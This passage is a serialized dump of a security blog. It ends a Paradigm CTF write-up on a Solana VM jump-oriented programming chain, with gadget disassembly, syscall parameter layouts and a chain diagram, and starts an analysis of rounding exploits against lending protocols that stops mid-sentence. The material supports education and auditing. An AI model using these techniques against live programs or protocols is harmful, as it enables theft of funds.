1502030000000000",{"type":26,"tag":475,"props":44743,"children":44744},{"style":2375},[44745],{"type":32,"value":44501},{"type":26,"tag":475,"props":44747,"children":44748},{"style":499},[44749],{"type":32,"value":8430},{"type":26,"tag":475,"props":44751,"children":44752},{"style":714},[44753],{"type":32,"value":1106},{"type":26,"tag":475,"props":44755,"children":44756},{"style":903},[44757],{"type":32,"value":17002},{"type":26,"tag":475,"props":44759,"children":44760},{"style":499},[44761],{"type":32,"value":5534},{"type":26,"tag":475,"props":44763,"children":44764},{"style":2375},[44765],{"type":32,"value":44199},{"type":26,"tag":475,"props":44767,"children":44768},{"style":499},[44769],{"type":32,"value":637},{"type":26,"tag":475,"props":44771,"children":44772},{"style":903},[44773],{"type":32,"value":44082},{"type":26,"tag":475,"props":44775,"children":44776},{"class":477,"line":1046},[44777],{"type":26,"tag":475,"props":44778,"children":44779},{"emptyLinePlaceholder":18},[44780],{"type":32,"value":545},{"type":26,"tag":475,"props":44782,"children":44783},{"class":477,"line":1068},[44784,44789,44794,44798,44802,44806,44810,44814,44819,44823,44828],{"type":26,"tag":475,"props":44785,"children":44786},{"style":2375},[44787],{"type":32,"value":44788},"100001c50",{"type":26,"tag":475,"props":44790,"children":44791},{"style":2375},[44792],{"type":32,"value":44793}," 79a1c8ff00000000",{"type":26,"tag":475,"props":44795,"children":44796},{"style":2375},[44797],{"type":32,"value":43818},{"type":26,"tag":475,"props":44799,"children":44800},{"style":2375},[44801],{"type":32,"value":44112},{"type":26,"tag":475,"props":44803,"children":44804},{"style":499},[44805],{"type":32,"value":43828},{"type":26,"tag":475,"props":44807,"children":44808},{"style":2375},[44809],{"type":32,"value":43833},{"type":26,"tag":475,"props":44811,"children":44812},{"style":714},[44813],{"type":32,"value":4039},{"type":26,"tag":475,"props":44815,"children":44816},{"style":903},[44817],{"type":32,"value":44818},"56",{"type":26,"tag":475,"props":44820,"children":44821},{"style":499},[44822],{"type":32,"value":43847},{"type":26,"tag":475,"props":44824,"children":44825},{"style":2375},[44826],{"type":32,"value":44827},"var_38",{"type":26,"tag":475,"props":44829,"children":44830},{"style":499},[44831],{"type":32,"value":3607},{"type":26,"tag":475,"props":44833,"children":44834},{"class":477,"line":1077},[44835,44840,44844,44848,44852,44856],{"type":26,"tag":475,"props":44836,"children":44837},{"style":2375},[44838],{"type":32,"value":44839},"100001c58",{"type":26,"tag":475,"props":44841,"children":44842},{"style":2375},[44843],{"type":32,"value":44631},{"type":26,"tag":475,"props":44845,"children":44846},{"style":2375},[44847],{"type":32,"value":44107},{"type":26,"tag":475,"props":44849,"children":44850},{"style":2375},[44851],{"type":32,"value":43878},{"type":26,"tag":475,"props":44853,"children":44854},{"style":499},[44855],{"type":32,"value":637},{"type":26,"tag":475,"props":44857,"children":44858},{"style":903},[44859],{"type":32,"value":44648},{"type":26,"tag":475,"props":44861,"children":44862},{"class":477,"line":1090},[44863,44868,44873,44877],{"type":26,"tag":475,"props":44864,"children":44865},{"style":2375},[44866],{"type":32,"value":44867},"100001c60",{"type":26,"tag":475,"props":44869,"children":44870},{"style":2375},[44871],{"type":32,"value":44872}," 85100000fefdffff",{"type":26,"tag":475,"props":44874,"children":44875},{"style":2375},[44876],{"type":32,"value":44029},{"type":26,"tag":475,"props":44878,"children":44879},{"style":2375},[44880],{"type":32,"value":44670},{"type":26,"tag":475,"props":44882,"children":44883},{"class":477,"line":1119},[44884],{"type":26,"tag":475,"props":44885,"children":44886},{"emptyLinePlaceholder":18},[44887],{"type":32,"value":545},{"type":26,"tag":475,"props":44889,"children":44890},{"class":477,"line":1132},[44891,44896,44901,44906,44911,44916],{"type":26,"tag":475,"props":44892,"children":44893},{"style":2375},[44894],{"type":32,"value":44895},"100001c68",{"type":26,"tag":475,"props":44897,"children":44898},{"style":903},[44899],{"type":32,"value":44900}," 9500000000000000",{"type":26,"tag":475,"props":44902,"children":44903},{"style":2375},[44904],{"type":32,"value":44905}," exit",{"type":26,"tag":475,"props":44907,"children":44908},{"style":499},[44909],{"type":32,"value":44910}," {",{"type":26,"tag":475,"props":44912,"children":44913},{"style":2375},[44914],{"type":32,"value":44915},"__return_addr",{"type":26,"tag":475,"props":44917,"children":44918},{"style":499},[44919],{"type":32,"value":3607},{"type":26,"tag":35,"props":44921,"children":44922},{},[44923,44925,44931],{"type":32,"value":44924},"Which, assuming that ",{"type":26,"tag":53,"props":44926,"children":44928},{"className":44927},[],[44929],{"type":32,"value":44930},"sol_invoke_signed_rust",{"type":32,"value":44932}," returns 0, is doing the following:",{"type":26,"tag":181,"props":44934,"children":44935},{},[44936,44945,44954],{"type":26,"tag":86,"props":44937,"children":44938},{},[44939],{"type":26,"tag":53,"props":44940,"children":44942},{"className":44941},[],[44943],{"type":32,"value":44944},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":26,"tag":86,"props":44946,"children":44947},{},[44948],{"type":26,"tag":53,"props":44949,"children":44951},{"className":44950},[],[44952],{"type":32,"value":44953},"*[r10-120] = 0x18",{"type":26,"tag":86,"props":44955,"children":44956},{},[44957,44959,44965,44967,44974],{"type":32,"value":44958},"Calls ",{"type":26,"tag":53,"props":44960,"children":44962},{"className":44961},[],[44963],{"type":32,"value":44964},"__rust_dealloc",{"type":32,"value":44966},", which in default circumstances is a ",{"type":26,"tag":116,"props":44968,"children":44971},{"href":44969,"rel":44970},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[120],[44972],{"type":32,"value":44973},"NOP",{"type":32,"value":353},{"type":26,"tag":35,"props":44976,"children":44977},{},[44978],{"type":32,"value":44979},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":26,"tag":35,"props":44981,"children":44982},{},[44983],{"type":32,"value":44984},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":26,"tag":35,"props":44986,"children":44987},{},[44988,44990,44997],{"type":32,"value":44989},"Looking at the ",{"type":26,"tag":116,"props":44991,"children":44994},{"href":44992,"rel":44993},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[120],[44995],{"type":32,"value":44996},"definition",{"type":32,"value":44998},", it's not crystal clear what the parameters are:",{"type":26,"tag":465,"props":45000,"children":45002},{"className":2685,"code":45001,"language":2684,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[45003],{"type":26,"tag":53,"props":45004,"children":45005},{"__ignoreMap":7},[45006],{"type":26,"tag":475,"props":45007,"children":45008},{"class":477,"line":478},[45009,45013,45018,45022,45027,45031,45035,45039,45043,45047,45052,45056,45060,45064,45068,45072,45077,45081,45085,45089,45094,45098,45102,45106,45110,45114,45119,45123,45127,45131,45135],{"type":26,"tag":475,"props":45010,"children":45011},{"style":482},[45012],{"type":32,"value":19974},{"type":26,"tag":475,"props":45014,"children":45015},{"style":493},[45016],{"type":32,"value":45017}," sol_invoke_signed_rust",{"type":26,"tag":475,"props":45019,"children":45020},{"style":499},[45021],{"type":32,"value":626},{"type":26,"tag":475,"props":45023,"children":45024},{"style":2375},[45025],{"type":32,"value":45026},"instruction_addr",{"type":26,"tag":475,"props":45028,"children":45029},{"style":714},[45030],{"type":32,"value":179},{"type":26,"tag":475,"props":45032,"children":45033},{"style":714},[45034],{"type":32,"value":9525},{"type":26,"tag":475,"props":45036,"children":45037},{"style":482},[45038],{"type":32,"value":9363},{"type":26,"tag":475,"props":45040,"children":45041},{"style":505},[45042],{"type":32,"value":14341},{"type":26,"tag":475,"props":45044,"children":45045},{"style":499},[45046],{"type":32,"value":637},{"type":26,"tag":475,"props":45048,"children":45049},{"style":2375},[45050],{"type":32,"value":45051},"account_infos_addr",{"type":26,"tag":475,"props":45053,"children":45054},{"style":714},[45055],{"type":32,"value":179},{"type":26,"tag":475,"props":45057,"children":45058},{"style":714},[45059],{"type":32,"value":9525},{"type":26,"tag":475,"props":45061,"children":45062},{"style":482},[45063],{"type":32,"value":9363},{"type":26,"tag":475,"props":45065,"children":45066},{"style":505},[45067],{"type":32,"value":14341},{"type":26,"tag":475,"props":45069,"children":45070},{"style":499},[45071],{"type":32,"value":637},{"type":26,"tag":475,"props":45073,"children":45074},{"style":2375},[45075],{"type":32,"value":45076},"account_infos_len",{"type":26,"tag":475,"props":45078,"children":45079},{"style":714},[45080],{"type":32,"value":179},{"type":26,"tag":475,"props":45082,"children":45083},{"style":505},[45084],{"type":32,"value":5573},{"type":26,"tag":475,"props":45086,"children":45087},{"style":499},[45088],{"type":32,"value":637},{"type":26,"tag":475,"props":45090,"children":45091},{"style":2375},[45092],{"type":32,"value":45093},"signers_seeds_addr",{"type":26,"tag":475,"props":45095,"children":45096},{"style":714},[45097],{"type":32,"value":179},{"type":26,"tag":475,"props":45099,"children":45100},{"style":714},[45101],{"type":32,"value":9525},{"type":26,"tag":475,"props":45103,"children":45104},{"style":482},[45105],{"type":32,"value":9363},{"type":26,"tag":475,"props":45107,"children":45108},{"style":505},[45109],{"type":32,"value":14341},{"type":26,"tag":475,"props":45111,"children":45112},{"style":499},[45113],{"type":32,"value":637},{"type":26,"tag":475,"props":45115,"children":45116},{"style":2375},[45117],{"type":32,"value":45118},"signers_seeds_len",{"type":26,"tag":475,"props":45120,"children":45121},{"style":714},[45122],{"type":32,"value":179},{"type":26,"tag":475,"props":45124,"children":45125},{"style":505},[45126],{"type":32,"value":5573},{"type":26,"tag":475,"props":45128,"children":45129},{"style":499},[45130],{"type":32,"value":2794},{"type":26,"tag":475,"props":45132,"children":45133},{"style":714},[45134],{"type":32,"value":13464},{"type":26,"tag":475,"props":45136,"children":45137},{"style":505},[45138],{"type":32,"value":12904},{"type":26,"tag":35,"props":45140,"children":45141},{},[45142,45144,45149,45151,45158],{"type":32,"value":45143},"The source of ",{"type":26,"tag":116,"props":45145,"children":45147},{"href":45146},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[45148],{"type":32,"value":43759},{"type":32,"value":45150}," helps a lot, but looking at the actual ",{"type":26,"tag":116,"props":45152,"children":45155},{"href":45153,"rel":45154},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[120],[45156],{"type":32,"value":45157},"implementation",{"type":32,"value":45159}," provides more clarity:",{"type":26,"tag":82,"props":45161,"children":45162},{},[45163],{"type":26,"tag":86,"props":45164,"children":45165},{},[45166,45171,45173,45180],{"type":26,"tag":53,"props":45167,"children":45169},{"className":45168},[],[45170],{"type":32,"value":45026},{"type":32,"value":45172}," points to a ",{"type":26,"tag":116,"props":45174,"children":45177},{"href":45175,"rel":45176},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[120],[45178],{"type":32,"value":45179},"StableInstruction",{"type":32,"value":179},{"type":26,"tag":35,"props":45182,"children":45183},{},[45184],{"type":26,"tag":132,"props":45185,"children":45187},{"alt":45179,"src":45186},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":26,"tag":82,"props":45189,"children":45190},{},[45191,45216],{"type":26,"tag":86,"props":45192,"children":45193},{},[45194,45199,45201,45206,45208,45215],{"type":26,"tag":53,"props":45195,"children":45197},{"className":45196},[],[45198],{"type":32,"value":45051},{"type":32,"value":45200}," points to a slice of ",{"type":26,"tag":53,"props":45202,"children":45204},{"className":45203},[],[45205],{"type":32,"value":45076},{"type":32,"value":45207}," ",{"type":26,"tag":116,"props":45209,"children":45212},{"href":45210,"rel":45211},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[120],[45213],{"type":32,"value":45214},"AccountInfos",{"type":32,"value":353},{"type":26,"tag":86,"props":45217,"children":45218},{},[45219,45224,45226,45231,45233,45238],{"type":26,"tag":53,"props":45220,"children":45222},{"className":45221},[],[45223],{"type":32,"value":45093},{"type":32,"value":45225}," is a bit trickier, it points to a slice of length ",{"type":26,"tag":53,"props":45227,"children":45229},{"className":45228},[],[45230],{"type":32,"value":45118},{"type":32,"value":45232},", containing slices of ",{"type":26,"tag":53,"props":45234,"children":45236},{"className":45235},[],[45237],{"type":32,"value":3127},{"type":32,"value":353},{"type":26,"tag":35,"props":45240,"children":45241},{},[45242],{"type":26,"tag":132,"props":45243,"children":45246},{"alt":45244,"src":45245},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":26,"tag":35,"props":45248,"children":45249},{},[45250,45252,45257],{"type":32,"value":45251},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":26,"tag":2615,"props":45253,"children":45254},{},[45255],{"type":32,"value":45256},"future call frames",{"type":32,"value":353},{"type":26,"tag":35,"props":45259,"children":45260},{},[45261,45263,45270],{"type":32,"value":45262},"Now that we have all the parts, all we need is to string it together. The full ",{"type":26,"tag":116,"props":45264,"children":45267},{"href":45265,"rel":45266},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[120],[45268],{"type":32,"value":45269},"reference solution can be found here",{"type":32,"value":353},{"type":26,"tag":35,"props":45272,"children":45273},{},[45274],{"type":32,"value":45275},"Here's a visualization of the final JOP chain.",{"type":26,"tag":465,"props":45277,"children":45279},{"className":43641,"code":45278,"language":43643,"meta":7,"style":7},"graph BT\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: Write account_infos.ptr to target_r10 - 136]\n C --> E[3: process]\n E --> F[4: Write account_infos.len to target_r10 - 128]\n E --> G[4: process]\n G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n G --> I[5: process]\n I --> J[6: Write signers_seeds.len to target_r10 - 144]\n I --> K[6: process]\n K --> M[7: Write HeapBase to target_r10 - 120]\n K --> N[7: process]\n N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n N --> O[8: Write 0x4337 to the account]\n",[45280],{"type":26,"tag":53,"props":45281,"children":45282},{"__ignoreMap":7},[45283,45291,45298,45305,45313,45320,45328,45336,45344,45352,45360,45368,45376,45384,45392],{"type":26,"tag":475,"props":45284,"children":45285},{"class":477,"line":478},[45286],{"type":26,"tag":475,"props":45287,"children":45288},{},[45289],{"type":32,"value":45290},"graph BT\n",{"type":26,"tag":475,"props":45292,"children":45293},{"class":477,"line":516},[45294],{"type":26,"tag":475,"props":45295,"children":45296},{},[45297],{"type":32,"value":43663},{"type":26,"tag":475,"props":45299,"children":45300},{"class":477,"line":539},[45301],{"type":26,"tag":475,"props":45302,"children":45303},{},[45304],{"type":32,"value":43671},{"type":26,"tag":475,"props":45306,"children":45307},{"class":477,"line":548},[45308],{"type":26,"tag":475,"props":45309,"children":45310},{},[45311],{"type":32,"value":45312}," C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":26,"tag":475,"props":45314,"children":45315},{"class":477,"line":558},[45316],{"type":26,"tag":475,"props":45317,"children":45318},{},[45319],{"type":32,"value":43687},{"type":26,"tag":475,"props":45321,"children":45322},{"class":477,"line":582},[45323],{"type":26,"tag":475,"props":45324,"children":45325},{},[45326],{"type":32,"value":45327}," E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":26,"tag":475,"props":45329,"children":45330},{"class":477,"line":596},[45331],{"type":26,"tag":475,"props":45332,"children":45333},{},[45334],{"type":32,"value":45335}," E --> G[4: process]\n",{"type":26,"tag":475,"props":45337,"children":45338},{"class":477,"line":610},[45339],{"type":26,"tag":475,"props":45340,"children":45341},{},[45342],{"type":32,"value":45343}," G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":26,"tag":475,"props":45345,"children":45346},{"class":477,"line":650},[45347],{"type":26,"tag":475,"props":45348,"children":45349},{},[45350],{"type":32,"value":45351}," G --> I[5: process]\n",{"type":26,"tag":475,"props":45353,"children":45354},{"class":477,"line":679},[45355],{"type":26,"tag":475,"props":45356,"children":45357},{},[45358],{"type":32,"value":45359}," I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":26,"tag":475,"props":45361,"children":45362},{"class":477,"line":735},[45363],{"type":26,"tag":475,"props":45364,"children":45365},{},[45366],{"type":32,"value":45367}," I --> K[6: process]\n",{"type":26,"tag":475,"props":45369,"children":45370},{"class":477,"line":744},[45371],{"type":26,"tag":475,"props":45372,"children":45373},{},[45374],{"type":32,"value":45375}," K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":26,"tag":475,"props":45377,"children":45378},{"class":477,"line":753},[45379],{"type":26,"tag":475,"props":45380,"children":45381},{},[45382],{"type":32,"value":45383}," K --> N[7: process]\n",{"type":26,"tag":475,"props":45385,"children":45386},{"class":477,"line":761},[45387],{"type":26,"tag":475,"props":45388,"children":45389},{},[45390],{"type":32,"value":45391}," N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":26,"tag":475,"props":45393,"children":45394},{"class":477,"line":770},[45395],{"type":26,"tag":475,"props":45396,"children":45397},{},[45398],{"type":32,"value":45399}," N --> O[8: Write 0x4337 to the account]\n",{"type":26,"tag":35,"props":45401,"children":45402},{},[45403,45405,45411],{"type":32,"value":45404},"Small note: ",{"type":26,"tag":53,"props":45406,"children":45408},{"className":45407},[],[45409],{"type":32,"value":45410},"target_r10",{"type":32,"value":45412}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":26,"tag":465,"props":45414,"children":45416},{"className":2685,"code":45415,"language":2684,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n 0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[45417],{"type":26,"tag":53,"props":45418,"children":45419},{"__ignoreMap":7},[45420,45465,45500,45507],{"type":26,"tag":475,"props":45421,"children":45422},{"class":477,"line":478},[45423,45427,45432,45436,45441,45445,45449,45453,45457,45461],{"type":26,"tag":475,"props":45424,"children":45425},{"style":482},[45426],{"type":32,"value":19974},{"type":26,"tag":475,"props":45428,"children":45429},{"style":493},[45430],{"type":32,"value":45431}," call_frame_addr",{"type":26,"tag":475,"props":45433,"children":45434},{"style":499},[45435],{"type":32,"value":626},{"type":26,"tag":475,"props":45437,"children":45438},{"style":2375},[45439],{"type":32,"value":45440},"depth",{"type":26,"tag":475,"props":45442,"children":45443},{"style":714},[45444],{"type":32,"value":179},{"type":26,"tag":475,"props":45446,"children":45447},{"style":505},[45448],{"type":32,"value":5573},{"type":26,"tag":475,"props":45450,"children":45451},{"style":499},[45452],{"type":32,"value":2794},{"type":26,"tag":475,"props":45454,"children":45455},{"style":714},[45456],{"type":32,"value":13464},{"type":26,"tag":475,"props":45458,"children":45459},{"style":505},[45460],{"type":32,"value":5573},{"type":26,"tag":475,"props":45462,"children":45463},{"style":499},[45464],{"type":32,"value":579},{"type":26,"tag":475,"props":45466,"children":45467},{"class":477,"line":516},[45468,45473,45477,45482,45486,45491,45495],{"type":26,"tag":475,"props":45469,"children":45470},{"style":903},[45471],{"type":32,"value":45472}," 0x200000000",{"type":26,"tag":475,"props":45474,"children":45475},{"style":714},[45476],{"type":32,"value":8616},{"type":26,"tag":475,"props":45478,"children":45479},{"style":903},[45480],{"type":32,"value":45481}," 0x2000",{"type":26,"tag":475,"props":45483,"children":45484},{"style":714},[45485],{"type":32,"value":9525},{"type":26,"tag":475,"props":45487,"children":45488},{"style":2375},[45489],{"type":32,"value":45490}," depth",{"type":26,"tag":475,"props":45492,"children":45493},{"style":714},[45494],{"type":32,"value":8616},{"type":26,"tag":475,"props":45496,"children":45497},{"style":903},[45498],{"type":32,"value":45499}," 0x1000\n",{"type":26,"tag":475,"props":45501,"children":45502},{"class":477,"line":539},[45503],{"type":26,"tag":475,"props":45504,"children":45505},{"style":499},[45506],{"type":32,"value":3607},{"type":26,"tag":475,"props":45508,"children":45509},{"class":477,"line":548},[45510],{"type":26,"tag":475,"props":45511,"children":45512},{"style":552},[45513],{"type":32,"value":45514},"// call_frame_addr(8) = 0x200011000\n",{"type":26,"tag":27,"props":45516,"children":45517},{"id":2533},[45518],{"type":32,"value":2536},{"type":26,"tag":35,"props":45520,"children":45521},{},[45522,45524,45531],{"type":32,"value":45523},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":26,"tag":116,"props":45525,"children":45528},{"href":45526,"rel":45527},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[120],[45529],{"type":32,"value":45530},"they do exist",{"type":32,"value":353},{"type":26,"tag":35,"props":45533,"children":45534},{},[45535],{"type":32,"value":45536},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":26,"tag":35,"props":45538,"children":45539},{},[45540,45542,45547],{"type":32,"value":45541},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":26,"tag":2615,"props":45543,"children":45544},{},[45545],{"type":32,"value":45546},"entire",{"type":32,"value":45548}," runtime.",{"type":26,"tag":2548,"props":45550,"children":45551},{},[45552],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":45554},[45555,45559,45560,45563],{"id":18664,"depth":516,"text":18667,"children":45556},[45557,45558],{"id":40229,"depth":539,"text":40232},{"id":41548,"depth":539,"text":41551},{"id":42787,"depth":516,"text":42790},{"id":43623,"depth":516,"text":43626,"children":45561},[45562],{"id":43737,"depth":539,"text":43740},{"id":2533,"depth":516,"text":2536},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":45568,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":45569,"description":45570,"author":45571,"image":45572,"date":45574,"isFeatured":18,"onBlogPage":18,"body":45575,"_type":2566,"_id":46721,"_source":2568,"_file":46722,"_stem":46723,"_extension":2571},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[5432],{"src":45573},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":23,"children":45576,"toc":46710},[45577,45581,45609,45614,45627,45632,45638,45643,45648,45653,45658,45671,45683,45703,45723,45728,45733,45751,45757,45762,45768,45782,45795,45800,45806,45820,45825,45847,46080,46085,46090,46103,46343,46353,46358,46364,46369,46374,46407,46412,46423,46429,46434,46448,46576,46590,46666,46671,46682,46687,46692,46696,46701,46706],{"type":26,"tag":27,"props":45578,"children":45579},{"id":28717},[45580],{"type":32,"value":28720},{"type":26,"tag":35,"props":45582,"children":45583},{},[45584,45586,45593,45594,45601,45603,45608],{"type":32,"value":45585},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":26,"tag":116,"props":45587,"children":45590},{"href":45588,"rel":45589},"https://neodyme.io/de/blog/lending_disclosure",[120],[45591],{"type":32,"value":45592},"fast",{"type":32,"value":637},{"type":26,"tag":116,"props":45595,"children":45598},{"href":45596,"rel":45597},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[120],[45599],{"type":32,"value":45600},"cheap",{"type":32,"value":45602}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":26,"tag":2615,"props":45604,"children":45605},{},[45606],{"type":32,"value":45607},"Most people haven't considered what happens when shares are worth a lot",{"type":32,"value":353},{"type":26,"tag":35,"props":45610,"children":45611},{},[45612],{"type":32,"value":45613},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":26,"tag":181,"props":45615,"children":45616},{},[45617,45622],{"type":26,"tag":86,"props":45618,"children":45619},{},[45620],{"type":32,"value":45621},"Inflate share value (token to share conversion rate)",{"type":26,"tag":86,"props":45623,"children":45624},{},[45625],{"type":32,"value":45626},"Exploit rounding bug",{"type":26,"tag":35,"props":45628,"children":45629},{},[45630],{"type":32,"value":45631},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":26,"tag":27,"props":45633,"children":45635},{"id":45634},"model",[45636],{"type":32,"value":45637},"Model",{"type":26,"tag":35,"props":45639,"children":45640},{},[45641],{"type":32,"value":45642},"Before we dive in, there's some helpful background information we'll share first.",{"type":26,"tag":35,"props":45644,"children":45645},{},[45646],{"type":32,"value":45647},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":26,"tag":35,"props":45649,"children":45650},{},[45651],{"type":32,"value":45652},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":26,"tag":35,"props":45654,"children":45655},{},[45656],{"type":32,"value":45657},"This question is more complex than it may appear. Let's walk through an example.",{"type":26,"tag":35,"props":45659,"children":45660},{},[45661,45663,45669],{"type":32,"value":45662},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":26,"tag":53,"props":45664,"children":45666},{"className":45665},[],[45667],{"type":32,"value":45668},"1000:1000",{"type":32,"value":45670}," (1000 tokens to 1000 shares).",{"type":26,"tag":35,"props":45672,"children":45673},{},[45674,45676,45682],{"type":32,"value":45675},"After accruing fees, the pool gains one token for a new ratio of ",{"type":26,"tag":53,"props":45677,"children":45679},{"className":45678},[],[45680],{"type":32,"value":45681},"1001:1000",{"type":32,"value":353},{"type":26,"tag":35,"props":45684,"children":45685},{},[45686,45688,45694,45696,45701],{"type":32,"value":45687},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":26,"tag":53,"props":45689,"children":45691},{"className":45690},[],[45692],{"type":32,"value":45693},"1001/1000*999 = 999.999",{"type":32,"value":45695},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":26,"tag":2615,"props":45697,"children":45698},{},[45699],{"type":32,"value":45700},"down",{"type":32,"value":45702}," against the user.",{"type":26,"tag":35,"props":45704,"children":45705},{},[45706,45708,45714,45716,45722],{"type":32,"value":45707},"If we give the user 999 tokens, the new pool state is ",{"type":26,"tag":53,"props":45709,"children":45711},{"className":45710},[],[45712],{"type":32,"value":45713},"2:1",{"type":32,"value":45715},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":26,"tag":53,"props":45717,"children":45719},{"className":45718},[],[45720],{"type":32,"value":45721},"3:1",{"type":32,"value":353},{"type":26,"tag":35,"props":45724,"children":45725},{},[45726],{"type":32,"value":45727},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":26,"tag":35,"props":45729,"children":45730},{},[45731],{"type":32,"value":45732},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":26,"tag":181,"props":45734,"children":45735},{},[45736,45741,45746],{"type":26,"tag":86,"props":45737,"children":45738},{},[45739],{"type":32,"value":45740},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":26,"tag":86,"props":45742,"children":45743},{},[45744],{"type":32,"value":45745},"When you withdraw, are you withdrawing shares or tokens?",{"type":26,"tag":86,"props":45747,"children":45748},{},[45749],{"type":32,"value":45750},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":26,"tag":27,"props":45752,"children":45754},{"id":45753},"decisions",[45755],{"type":32,"value":45756},"Decisions",{"type":26,"tag":35,"props":45758,"children":45759},{},[45760],{"type":32,"value":45761},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":26,"tag":41,"props":45763,"children":45765},{"id":45764},"radiant-capital",[45766],{"type":32,"value":45767},"Radiant Capital",{"type":26,"tag":35,"props":45769,"children":45770},{},[45771,45773,45780],{"type":32,"value":45772},"Radiant Capital was ",{"type":26,"tag":116,"props":45774,"children":45777},{"href":45775,"rel":45776},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[120],[45778],{"type":32,"value":45779},"hacked on Jan 2nd",{"type":32,"value":45781}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":26,"tag":35,"props":45783,"children":45784},{},[45785,45787,45794],{"type":32,"value":45786},"The exploit is relatively straightforward and ",{"type":26,"tag":116,"props":45788,"children":45791},{"href":45789,"rel":45790},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[120],[45792],{"type":32,"value":45793},"has already been covered previously",{"type":32,"value":353},{"type":26,"tag":35,"props":45796,"children":45797},{},[45798],{"type":32,"value":45799},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":26,"tag":41,"props":45801,"children":45803},{"id":45802},"wise-lending",[45804],{"type":32,"value":45805},"Wise Lending",{"type":26,"tag":35,"props":45807,"children":45808},{},[45809,45811,45818],{"type":32,"value":45810},"Wise Lending was ",{"type":26,"tag":116,"props":45812,"children":45815},{"href":45813,"rel":45814},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[120],[45816],{"type":32,"value":45817},"hacked on January 13th",{"type":32,"value":45819}," for just under $460,000.",{"type":26,"tag":35,"props":45821,"children":45822},{},[45823],{"type":32,"value":45824},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":26,"tag":35,"props":45826,"children":45827},{},[45828,45830,45837,45839,45846],{"type":32,"value":45829},"This is 